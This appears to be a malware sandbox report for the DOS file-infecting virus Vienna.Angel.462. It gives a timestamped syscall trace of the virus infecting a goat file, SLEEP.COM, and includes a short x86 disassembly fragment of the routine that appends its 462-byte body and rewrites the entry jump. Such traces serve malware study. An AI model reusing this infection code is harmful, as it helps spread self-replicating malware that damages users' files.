Sample viewer

vx.netlux.org/Virus.DOS.Vienna.Angel.462

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:06:10.141149318Z 48 PC: 12baf | Get DOS version
2018-12-17T23:06:10.143261028Z 47 PC: 12bbb | Get disk transfer address
2018-12-17T23:06:10.145099785Z 26 PC: 12bc8 | Set disk transfer address
2018-12-17T23:06:10.146941258Z 78 PC: 12c3b | Find first file
2018-12-17T23:06:10.154891445Z 67 PC: 12c7a | Get or set file attributes
2018-12-17T23:06:10.162444606Z 67 PC: 12c88 | Get or set file attributes
2018-12-17T23:06:10.179794957Z 61 PC: 12c90 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:06:10.187228574Z 87 PC: 12c9c | Get or set file date and time
2018-12-17T23:06:10.189919092Z 44 PC: 12ca6 | Get time 0x12ca6: mov ah, 0x3f
0x12ca8: mov cx, 3
0x12cab: lea dx, word ptr [si + 0x13]
0x12cae: int 0x21
0x12cb0: jb 0x12cf9
0x12cb2: cmp ax, 3
0x12cb5: jne 0x12cf9
0x12cb7: mov ax, 0x4202
0x12cba: xor cx, cx
0x12cbc: xor dx, dx
0x12cbe: int 0x21
0x12cc0: jb 0x12cf9
0x12cc2: mov cx, ax
0x12cc4: sub ax, 3
0x12cc7: mov word ptr [si + 0x17], ax
0x12cca: add cx, 0x2aa
0x12cce: mov word ptr [si - 0x1a9], cx
0x12cd2: mov ah, 0x40
0x12cd4: mov cx, 0x1ce
0x12cd7: nop
2018-12-17T23:06:10.192468395Z 63 PC: 12cb0 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T23:06:10.199820428Z 66 PC: 12cc0 | Move file pointer
2018-12-17T23:06:10.202080057Z 64 PC: 12cde | Write file or device (Write 462 bytes on handle 5)
2018-12-17T23:06:10.211158846Z 66 PC: 12ced | Move file pointer
2018-12-17T23:06:10.212896393Z 64 PC: 12cf9 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:06:10.220660501Z 87 PC: 12d0a | Get or set file date and time
2018-12-17T23:06:10.222790436Z 62 PC: 12d0e | Close file
2018-12-17T23:06:10.232041839Z 67 PC: 12d19 | Get or set file attributes
2018-12-17T23:06:10.242861362Z 26 PC: 12d24 | Set disk transfer address
2018-12-17T23:06:10.244938457Z 9 PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ')
2018-12-17T23:06:10.249615991Z 76 PC: 12a86 | Terminate with return code (Return code = '36')